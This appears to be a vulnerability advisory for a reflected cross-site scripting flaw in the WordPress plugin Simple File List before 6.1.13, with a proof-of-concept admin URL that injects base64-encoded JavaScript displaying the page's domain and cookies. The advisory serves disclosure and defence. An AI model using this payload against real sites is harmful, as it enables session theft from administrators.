Simple File List < 6.1.13 – Reflected Cross-Site Scripting | CVE 2024-10146 | Plugin Vulnerabilities

Description

The plugin does not sanitise and escape a generated URL before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting which could be used against admins.

Proof of Concept

https://example.com/wp-admin/admin.php?page=ee-simple-file-list&tab=settings&subtab=uploader_settings&nfqis%22%3e%3cscript%3eeval(atob(%22YWxlcnQoJ2RvbWFpbjogJyArIGRvY3VtZW50LmRvbWFpbiArICdcbmNvb2tpZTogJyArIGRvY3VtZW50LmNvb2tpZSk%22))%3c%2fscript%3eepkajs8ophd=1

Affects Plugins

simple-file-list

Fixed in 6.1.13

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

tu3n4nh

Submitter

tu3n4nh

Verified

Yes

WPVDB ID

9ee74a0f-83ff-4c15-a114-f8f6baab8bf5

Timeline

Publicly Published

2024-10-24 (about 1 year ago)

Added

2024-10-24 (about 1 year ago)

Last Updated

2024-10-24 (about 1 year ago)

Other

Published

Title

Published

2025-09-05

Title

Showpass WordPress Extension < 4.0.4 - Contributor+ Stored XSS

Published

2025-09-03

Title

PropertyHive < 2.1.6 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2025-03-27

Title

AEC Kiosque < 1.9.4 - Reflected Cross-Site Scripting

Published

2024-11-08

Title

codeSnips <= 1.2 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2025-08-01

Title

Qi Addons for Elementor < 1.9.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via TypeOut Text Widget